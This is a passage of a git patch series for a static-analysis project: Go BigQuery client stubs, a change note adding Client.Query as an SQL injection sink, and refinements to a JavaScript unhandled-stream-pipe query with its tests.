struct { + SourceFormat DataFormat + AutoDetect bool + MaxBadRecords int64 + IgnoreUnknownValues bool + Schema Schema + CSVOptions + ParquetOptions *ParquetOptions + AvroOptions *AvroOptions +} + +type ForeignKey struct { + Name string + ReferencedTable *Table + ColumnReferences []*ColumnReference +} + +type GCSReference struct { + URIs []string + FileConfig + DestinationFormat DataFormat + Compression Compression +} + +type HivePartitioningMode string + +type HivePartitioningOptions struct { + Mode HivePartitioningMode + SourceURIPrefix string + RequirePartitionFilter bool +} + +type IdentifierFormat string + +type Inserter struct { + SkipInvalidRows bool + IgnoreUnknownValues bool + TableTemplateSuffix string +} + +func (_ *Inserter) Put(_ context.Context, _ interface{}) error { + return nil +} + +type IntervalValue struct { + Years int32 + Months int32 + Days int32 + Hours int32 + Minutes int32 + Seconds int32 + SubSecondNanos int32 +} + +func (_ *IntervalValue) Canonicalize() *IntervalValue { + return nil +} + +func (_ *IntervalValue) IsCanonical() bool { + return false +} + +func (_ *IntervalValue) String() string { + return "" +} + +func (_ *IntervalValue) ToDuration() time.Duration { + return 0 +} + +type Job struct{} + +func (_ *Job) Cancel(_ context.Context) error { + return nil +} + +func (_ *Job) Children(_ context.Context) *JobIterator { + return nil +} + +func (_ *Job) Config() (JobConfig, error) { + return nil, nil +} + +func (_ *Job) Delete(_ context.Context) error { + return nil +} + +func (_ *Job) Email() string { + return "" +} + +func (_ *Job) ID() string { + return "" +} + +func (_ *Job) LastStatus() *JobStatus { + return nil +} + +func (_ *Job) Location() string { + return "" +} + +func (_ *Job) ProjectID() string { + return "" +} + +func (_ *Job) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Job) Status(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +func (_ *Job) Wait(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +type JobConfig interface{} + +type JobIDConfig struct { + JobID string + AddJobIDSuffix bool + Location string + ProjectID string +} + +type JobIterator struct { + ProjectID string + AllUsers bool + State State + MinCreationTime time.Time + MaxCreationTime time.Time + ParentJobID string +} + +func (_ *JobIterator) Next() (*Job, error) { + return nil, nil +} + +func (_ *JobIterator) PageInfo() interface{} { + return nil +} + +type JobStatistics struct { + CreationTime time.Time + StartTime time.Time + EndTime time.Time + TotalBytesProcessed int64 + Details Statistics + TotalSlotDuration time.Duration + ReservationUsage []*ReservationUsage + ReservationID string + NumChildJobs int64 + ParentJobID string + ScriptStatistics *ScriptStatistics + TransactionInfo *TransactionInfo + SessionInfo *SessionInfo + FinalExecutionDuration time.Duration + Edition ReservationEdition +} + +type JobStatus struct { + State State + Errors []*Error + Statistics *JobStatistics +} + +func (_ *JobStatus) Done() bool { + return false +} + +func (_ *JobStatus) Err() error { + return nil +} + +type LoadConfig struct { + Src LoadSource + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + UseAvroLogicalTypes bool + ProjectionFields []string + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + JobTimeout time.Duration + ReferenceFileSchemaURI string + CreateSession bool + ConnectionProperties []*ConnectionProperty + MediaOptions []interface{} + ColumnNameCharacterMap ColumnNameCharacterMap + Reservation string +} + +type LoadSource interface{} + +type Loader struct { + JobIDConfig + LoadConfig +} + +func (_ *Loader) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type MaterializedViewDefinition struct { + EnableRefresh bool + LastRefreshTime time.Time + Query string + RefreshInterval time.Duration + AllowNonIncrementalDefinition bool + MaxStaleness *IntervalValue +} + +type MetadataCacheMode string + +type Model struct { + ProjectID string + DatasetID string + ModelID string +} + +func (_ *Model) Delete(_ context.Context) error { + return nil +} + +func (_ *Model) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Model) FullyQualifiedName() string { + return "" +} + +func (_ *Model) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Model) Metadata(_ context.Context) (*ModelMetadata, error) { + return nil, nil +} + +func (_ *Model) Update(_ context.Context, _ ModelMetadataToUpdate, _ string) (*ModelMetadata, error) { + return nil, nil +} + +type ModelIterator struct{} + +func (_ *ModelIterator) Next() (*Model, error) { + return nil, nil +} + +func (_ *ModelIterator) PageInfo() interface{} { + return nil +} + +type ModelMetadata struct { + Description string + Name string + Type string + CreationTime time.Time + LastModifiedTime time.Time + ExpirationTime time.Time + Location string + EncryptionConfig *EncryptionConfig + Labels map[string]string + ETag string +} + +func (_ *ModelMetadata) RawFeatureColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawLabelColumns() ([]*StandardSQLField, error) { + return nil, nil +} + +func (_ *ModelMetadata) RawTrainingRuns() []*TrainingRun { + return nil +} + +type ModelMetadataToUpdate struct { + Description interface{} + Name interface{} + ExpirationTime time.Time + EncryptionConfig *EncryptionConfig +} + +func (_ *ModelMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *ModelMetadataToUpdate) SetLabel(_ string, _ string) {} + +type ParquetOptions struct { + EnumAsString bool + EnableListInference bool +} + +type PolicyTagList struct { + Names []string +} + +type PrimaryKey struct { + Columns []string +} + +type Query struct { + JobIDConfig + QueryConfig +} + +func (_ *Query) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Query) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type QueryConfig struct { + Dst *Table + Q string + DefaultProjectID string + DefaultDatasetID string + TableDefinitions map[string]ExternalData + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + DisableQueryCache bool + DisableFlattenedResults bool + AllowLargeResults bool + Priority QueryPriority + MaxBillingTier int + MaxBytesBilled int64 + UseStandardSQL bool + UseLegacySQL bool + Parameters []QueryParameter + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + Labels map[string]string + DryRun bool + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + CreateSession bool + ConnectionProperties []*ConnectionProperty + JobTimeout time.Duration + Reservation string +} + +type QueryParameter struct { + Name string + Value interface{} +} + +type QueryPriority string + +type RangeElementType struct { + Type FieldType +} + +type RangePartitioning struct { + Field string + Range *RangePartitioningRange +} + +type RangePartitioningRange struct { + Start int64 + End int64 + Interval int64 +} + +type RemoteFunctionOptions struct { + Connection string + Endpoint string + MaxBatchingRows int64 + UserDefinedContext map[string]string +} + +type ReservationEdition string + +type ReservationUsage struct { + SlotMillis int64 + Name string +} + +type RoundingMode string + +type Routine struct { + ProjectID string + DatasetID string + RoutineID string +} + +func (_ *Routine) Create(_ context.Context, _ *RoutineMetadata) error { + return nil +} + +func (_ *Routine) Delete(_ context.Context) error { + return nil +} + +func (_ *Routine) FullyQualifiedName() string { + return "" +} + +func (_ *Routine) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Routine) Metadata(_ context.Context) (*RoutineMetadata, error) { + return nil, nil +} + +func (_ *Routine) Update(_ context.Context, _ *RoutineMetadataToUpdate, _ string) (*RoutineMetadata, error) { + return nil, nil +} + +type RoutineArgument struct { + Name string + Kind string + Mode string + DataType *StandardSQLDataType +} + +type RoutineDeterminism string + +type RoutineIterator struct{} + +func (_ *RoutineIterator) Next() (*Routine, error) { + return nil, nil +} + +func (_ *RoutineIterator) PageInfo() interface{} { + return nil +} + +type RoutineMetadata struct { + ETag string + Type string + CreationTime time.Time + Description string + DeterminismLevel RoutineDeterminism + LastModifiedTime time.Time + Language string + Arguments []*RoutineArgument + RemoteFunctionOptions *RemoteFunctionOptions + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + ImportedLibraries []string + Body string + DataGovernanceType string +} + +type RoutineMetadataToUpdate struct { + Arguments []*RoutineArgument + Description interface{} + DeterminismLevel interface{} + Type interface{} + Language interface{} + Body interface{} + ImportedLibraries []string + ReturnType *StandardSQLDataType + ReturnTableType *StandardSQLTableType + DataGovernanceType interface{} +} + +type RowIterator struct { + StartIndex uint64 + Schema Schema + TotalRows uint64 +} + +func (_ *RowIterator) ArrowIterator() (ArrowIterator, error) { + return nil, nil +} + +func (_ *RowIterator) IsAccelerated() bool { + return false +} + +func (_ *RowIterator) Next(_ interface{}) error { + return nil +} + +func (_ *RowIterator) PageInfo() interface{} { + return nil +} + +func (_ *RowIterator) QueryID() string { + return "" +} + +func (_ *RowIterator) SourceJob() *Job { + return nil +} + +type Schema []*FieldSchema + +func (_ Schema) Relax() Schema { + return nil +} + +func (_ Schema) ToJSONFields() ([]byte, error) { + return nil, nil +} + +type ScriptStackFrame struct { + StartLine int64 + StartColumn int64 + EndLine int64 + EndColumn int64 + ProcedureID string + Text string +} + +type ScriptStatistics struct { + EvaluationKind string + StackFrames []*ScriptStackFrame +} + +type SessionInfo struct { + SessionID string +} + +type SnapshotDefinition struct { + BaseTableReference *Table + SnapshotTime time.Time +} + +type StandardSQLDataType struct { + ArrayElementType *StandardSQLDataType + RangeElementType *StandardSQLDataType + StructType *StandardSQLStructType + TypeKind string +} + +type StandardSQLField struct { + Name string + Type *StandardSQLDataType +} + +type StandardSQLStructType struct { + Fields []*StandardSQLField +} + +type StandardSQLTableType struct { + Columns []*StandardSQLField +} + +type State int + +type Statistics interface{} + +type StreamingBuffer struct { + EstimatedBytes uint64 + EstimatedRows uint64 + OldestEntryTime time.Time +} + +type Table struct { + ProjectID string + DatasetID string + TableID string +} + +func (_ *Table) CopierFrom(_ ...*Table) *Copier { + return nil +} + +func (_ *Table) Create(_ context.Context, _ *TableMetadata) error { + return nil +} + +func (_ *Table) Delete(_ context.Context) error { + return nil +} + +func (_ *Table) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Table) FullyQualifiedName() string { + return "" +} + +func (_ *Table) IAM() interface{} { + return nil +} + +func (_ *Table) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Table) Inserter() *Inserter { + return nil +} + +func (_ *Table) LoaderFrom(_ LoadSource) *Loader { + return nil +} + +func (_ *Table) Metadata(_ context.Context, _ ...TableMetadataOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Read(_ context.Context) *RowIterator { + return nil +} + +func (_ *Table) Update(_ context.Context, _ TableMetadataToUpdate, _ string, _ ...TableUpdateOption) (*TableMetadata, error) { + return nil, nil +} + +func (_ *Table) Uploader() *Inserter { + return nil +} + +type TableConstraints struct { + PrimaryKey *PrimaryKey + ForeignKeys []*ForeignKey +} + +type TableCopyOperationType string + +type TableCreateDisposition string + +type TableIterator struct{} + +func (_ *TableIterator) Next() (*Table, error) { + return nil, nil +} + +func (_ *TableIterator) PageInfo() interface{} { + return nil +} + +type TableMetadata struct { + Name string + Location string + Description string + Schema Schema + MaterializedView *MaterializedViewDefinition + ViewQuery string + UseLegacySQL bool + UseStandardSQL bool + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + RequirePartitionFilter bool + Clustering *Clustering + ExpirationTime time.Time + Labels map[string]string + ExternalDataConfig *ExternalDataConfig + EncryptionConfig *EncryptionConfig + FullID string + Type TableType + CreationTime time.Time + LastModifiedTime time.Time + NumBytes int64 + NumLongTermBytes int64 + NumRows uint64 + SnapshotDefinition *SnapshotDefinition + CloneDefinition *CloneDefinition + StreamingBuffer *StreamingBuffer + ETag string + DefaultCollation string + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +type TableMetadataOption func(interface{}) + +type TableMetadataToUpdate struct { + Description interface{} + Name interface{} + Schema Schema + Clustering *Clustering + EncryptionConfig *EncryptionConfig + ExpirationTime time.Time + ExternalDataConfig *ExternalDataConfig + ViewQuery interface{} + UseLegacySQL interface{} + MaterializedView *MaterializedViewDefinition + TimePartitioning *TimePartitioning + RequirePartitionFilter interface{} + DefaultCollation interface{} + TableConstraints *TableConstraints + MaxStaleness *IntervalValue + ResourceTags map[string]string + BigLakeConfiguration *BigLakeConfiguration +} + +func (_ *TableMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *TableMetadataToUpdate) SetLabel(_ string, _ string) {} + +type TableType string + +type TableUpdateOption func(interface{}) + +type TableWriteDisposition string + +type TimePartitioning struct { + Type TimePartitioningType + Expiration time.Duration + Field string + RequirePartitionFilter bool +} + +type TimePartitioningType string + +type TrainingRun struct { + ClassLevelGlobalExplanations []interface{} + DataSplitResult interface{} + EvaluationMetrics interface{} + ModelLevelGlobalExplanation interface{} + Results []interface{} + StartTime string + TrainingOptions interface{} + TrainingStartTime int64 + VertexAiModelId string + VertexAiModelVersion string + ForceSendFields []string + NullFields []string +} + +type TransactionInfo struct { + TransactionID string +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt new file mode 100644 index 00000000000..1c7d4c63081 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/modules.txt @@ -0,0 +1,129 @@ +# cloud.google.com/go/bigquery v1.68.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go v0.121.0 +## explicit +cloud.google.com/go/bigquery +# cloud.google.com/go/auth v0.16.1 +## explicit +cloud.google.com/go/auth +# cloud.google.com/go/auth/oauth2adapt v0.2.8 +## explicit +cloud.google.com/go/auth/oauth2adapt +# cloud.google.com/go/compute/metadata v0.6.0 +## explicit +cloud.google.com/go/compute/metadata +# cloud.google.com/go/iam v1.5.2 +## explicit +cloud.google.com/go/iam +# github.com/apache/arrow/go/v15 v15.0.2 +## explicit +github.com/apache/arrow/go/v15 +# github.com/felixge/httpsnoop v1.0.4 +## explicit +github.com/felixge/httpsnoop +# github.com/go-logr/logr v1.4.2 +## explicit +github.com/go-logr/logr +# github.com/go-logr/stdr v1.2.2 +## explicit +github.com/go-logr/stdr +# github.com/goccy/go-json v0.10.2 +## explicit +github.com/goccy/go-json +# github.com/google/flatbuffers v23.5.26+incompatible +## explicit +github.com/google/flatbuffers +# github.com/google/s2a-go v0.1.9 +## explicit +github.com/google/s2a-go +# github.com/google/uuid v1.6.0 +## explicit +github.com/google/uuid +# github.com/googleapis/enterprise-certificate-proxy v0.3.6 +## explicit +github.com/googleapis/enterprise-certificate-proxy +# github.com/googleapis/gax-go/v2 v2.14.1 +## explicit +github.com/googleapis/gax-go/v2 +# github.com/klauspost/compress v1.16.7 +## explicit +github.com/klauspost/compress +# github.com/klauspost/cpuid/v2 v2.2.5 +## explicit +github.com/klauspost/cpuid/v2 +# github.com/pierrec/lz4/v4 v4.1.18 +## explicit +github.com/pierrec/lz4/v4 +# github.com/zeebo/xxh3 v1.0.2 +## explicit +github.com/zeebo/xxh3 +# go.opentelemetry.io/auto/sdk v1.1.0 +## explicit +go.opentelemetry.io/auto/sdk +# go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc +# go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 +## explicit +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp +# go.opentelemetry.io/otel v1.35.0 +## explicit +go.opentelemetry.io/otel +# go.opentelemetry.io/otel/metric v1.35.0 +## explicit +go.opentelemetry.io/otel/metric +# go.opentelemetry.io/otel/trace v1.35.0 +## explicit +go.opentelemetry.io/otel/trace +# golang.org/x/crypto v0.37.0 +## explicit +golang.org/x/crypto +# golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 +## explicit +golang.org/x/exp +# golang.org/x/mod v0.23.0 +## explicit +golang.org/x/mod +# golang.org/x/net v0.39.0 +## explicit +golang.org/x/net +# golang.org/x/oauth2 v0.29.0 +## explicit +golang.org/x/oauth2 +# golang.org/x/sync v0.14.0 +## explicit +golang.org/x/sync +# golang.org/x/sys v0.32.0 +## explicit +golang.org/x/sys +# golang.org/x/text v0.24.0 +## explicit +golang.org/x/text +# golang.org/x/time v0.11.0 +## explicit +golang.org/x/time +# golang.org/x/tools v0.30.0 +## explicit +golang.org/x/tools +# golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da +## explicit +golang.org/x/xerrors +# google.golang.org/api v0.231.0 +## explicit +google.golang.org/api +# google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb +## explicit +google.golang.org/genproto +# google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/api +# google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 +## explicit +google.golang.org/genproto/googleapis/rpc +# google.golang.org/grpc v1.72.0 +## explicit +google.golang.org/grpc +# google.golang.org/protobuf v1.36.6 +## explicit +google.golang.org/protobuf From 46a6b8ad0734d6deefab8d2fdf83dda21d8593f4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 22 May 2025 15:21:51 +0100 Subject: [PATCH 073/271] Add change note --- .../2025-05-22-bigquery-client-query-sql-injection.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md diff --git a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md b/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md new file mode 100644 index 00000000000..49d040dc409 --- /dev/null +++ b/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. From 5b1af0c0bd224b7cb7cbf72a6a6d40c64b20f839 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 13:32:25 +0200 Subject: [PATCH 074/271] Added detection of custom `gulp-plumber` sanitizer, thus one would not flag such instances. --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 9 +++++++++ .../Quality/UnhandledStreamPipe/test.expected | 2 -- .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index 5935129b610..eadb056a424 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -188,6 +188,15 @@ predicate hasErrorHandlerRegistered(PipeCall pipeCall) { handler = streamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) and handler.getArgument(0).getStringValue() = "error" ) + or + hasPlumber(pipeCall) +} + +/** + * Holds if one of the arguments of the pipe call is a `gulp-plumber` monkey patch. + */ +predicate hasPlumber(PipeCall pipeCall) { + streamRef+(pipeCall) = API::moduleImport("gulp-plumber").getACall() } /** diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index a0c899f50f5..aac258e9c6c 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -13,5 +13,3 @@ | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:207:5:207:64 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:212:5:212:56 | getStre ... e(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 49f100617c5..db10aa35fa9 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -204,11 +204,11 @@ function test() { } { const plumber = require('gulp-plumber'); - getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + getStream().pipe(plumber()).pipe(dest).pipe(dest).pipe(dest); } { const plumber = require('gulp-plumber'); const p = plumber(); - getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); // $SPURIOUS:Alert + getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } } From ac24fdd3480271a8880c7a39d52bc8dc2deaf158 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 13:37:04 +0200 Subject: [PATCH 075/271] Add predicate to detect non-stream-like usage in sources of pipe calls --- .../ql/src/Quality/UnhandledStreamPipe.ql | 18 ++++++++++++++++++ .../Quality/UnhandledStreamPipe/test.expected | 2 -- .../Quality/UnhandledStreamPipe/test.js | 4 ++-- 3 files changed, 20 insertions(+), 4 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index eadb056a424..d3894d12889 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -207,10 +207,28 @@ predicate hasNonNodeJsStreamSource(PipeCall pipeCall) { pipeResultRef(pipeCall) = getNonNodeJsStreamType() } +/** + * Holds if the source stream of the given pipe call is used in a non-stream-like way. + */ +private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { + exists(DataFlow::MethodCallNode call, string name | + call.getReceiver().getALocalSource() = streamRef(pipeCall) and + name = call.getMethodName() and + not name = getStreamMethodName() + ) + or + exists(DataFlow::PropRef propRef, string propName | + propRef.getBase().getALocalSource() = streamRef(pipeCall) and + propName = propRef.getPropertyName() and + not propName = [getStreamPropertyName(), getStreamMethodName()] + ) +} + from PipeCall pipeCall where not hasErrorHandlerRegistered(pipeCall) and not isPipeFollowedByNonStreamAccess(pipeCall) and + not hasNonStreamSourceLikeUsage(pipeCall) and not hasNonNodeJsStreamSource(pipeCall) select pipeCall, "Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped." diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index aac258e9c6c..dbbc751e7b4 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -11,5 +11,3 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:190:17:190:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | -| test.js:195:17:195:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index db10aa35fa9..6dd8a4ca962 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -187,12 +187,12 @@ function test() { { const notStream = getNotAStream(); const something = notStream.someNotStreamPropertyAccess; - const val = notStream.pipe(writable); // $SPURIOUS:Alert + const val = notStream.pipe(writable); } { const notStream = getNotAStream(); const something = notStream.someNotStreamPropertyAccess(); - const val = notStream.pipe(writable); // $SPURIOUS:Alert + const val = notStream.pipe(writable); } { const notStream = getNotAStream(); From e6ae8bbde4796a2a0aa25f62dfb0b86e51eae11a Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 16:38:28 +0200 Subject: [PATCH 076/271] Added test cases where second parameter passed to `pipe` is a function and some popular library ones --- .../Quality/UnhandledStreamPipe/rxjsStreams.js | 8 ++++++++ .../query-tests/Quality/UnhandledStreamPipe/strapi.js | 5 +++++ .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 +++ .../test/query-tests/Quality/UnhandledStreamPipe/test.js | 4 ++++ 4 files changed, 20 insertions(+) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 0e86442dd91..472e41dc0bb 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js @@ -1,5 +1,7 @@ import * as rx from 'rxjs'; import * as ops from 'rxjs/operators'; +import { TestScheduler } from 'rxjs/testing'; + const { of, from } = rx; const { map, filter } = ops; @@ -7,4 +9,10 @@ const { map, filter } = ops; function f(){ of(1, 2, 3).pipe(map(x => x * 2)); someNonStream().pipe(map(x => x * 2)); + + let testScheduler = new TestScheduler(); + testScheduler.run(({x, y, z}) => { + const source = x('', {o: [a, b, c]}); + z(source.pipe(null)).toBe(expected,y,); // $SPURIOUS:Alert + }); } diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js new file mode 100644 index 00000000000..2848b10132a --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/strapi.js @@ -0,0 +1,5 @@ +import { async } from '@strapi/utils'; + +const f = async () => { + const permissionsInDB = await async.pipe(strapi.db.query('x').findMany,map('y'))(); // $SPURIOUS:Alert +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected index dbbc751e7b4..457e5e7244f 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.expected @@ -1,3 +1,5 @@ +| rxjsStreams.js:16:7:16:23 | source.pipe(null) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| strapi.js:4:35:4:84 | async.p ... p('y')) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:4:5:4:28 | stream. ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:19:5:19:17 | s2.pipe(dest) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:45:5:45:30 | stream2 ... ation2) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | @@ -11,3 +13,4 @@ | test.js:143:5:143:62 | stream. ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:175:17:175:40 | notStre ... itable) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | | test.js:185:5:185:32 | copyStr ... nation) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | +| test.js:216:5:216:38 | notStre ... ()=>{}) | Stream pipe without error handling on the source stream. Errors won't propagate downstream and may be silently dropped. | diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js index 6dd8a4ca962..37befaf5999 100644 --- a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/test.js @@ -211,4 +211,8 @@ function test() { const p = plumber(); getStream().pipe(p).pipe(dest).pipe(dest).pipe(dest); } + { + const notStream = getNotAStream(); + notStream.pipe(getStream(),()=>{}); // $SPURIOUS:Alert + } } From b10a9481f36ab830a2cf5ce2f19a9e101fd15e86 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Thu, 22 May 2025 16:41:11 +0200 Subject: [PATCH 077/271] Fixed false positives from `strapi` and `rxjs/testing` as well as when one passes function as second arg to `pipe` --- javascript/ql/lib/ext/rxjs.model.yml | 1 + javascript/ql/lib/ext/strapi.model.yml | 6 ++++++ javascript/ql/src/Quality/UnhandledStreamPipe.ql | 2 +- .../query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js | 2 +- .../test/query-tests/Quality/UnhandledStreamPipe/strapi.js | 2 +- .../query-tests/Quality/UnhandledStreamPipe/test.expected | 3 --- .../ql/test/query-tests/Quality/UnhandledStreamPipe/test.js | 2 +- 7 files changed, 11 insertions(+), 7 deletions(-) create mode 100644 javascript/ql/lib/ext/strapi.model.yml diff --git a/javascript/ql/lib/ext/rxjs.model.yml b/javascript/ql/lib/ext/rxjs.model.yml index 73c24fd875b..0d1c26650a2 100644 --- a/javascript/ql/lib/ext/rxjs.model.yml +++ b/javascript/ql/lib/ext/rxjs.model.yml @@ -5,3 +5,4 @@ extensions: data: - ["NonNodeStream", "rxjs", "Fuzzy"] - ["NonNodeStream", "rxjs/operators", "Fuzzy"] + - ["NonNodeStream", "rxjs/testing", "Fuzzy"] diff --git a/javascript/ql/lib/ext/strapi.model.yml b/javascript/ql/lib/ext/strapi.model.yml new file mode 100644 index 00000000000..9dbe753b31b --- /dev/null 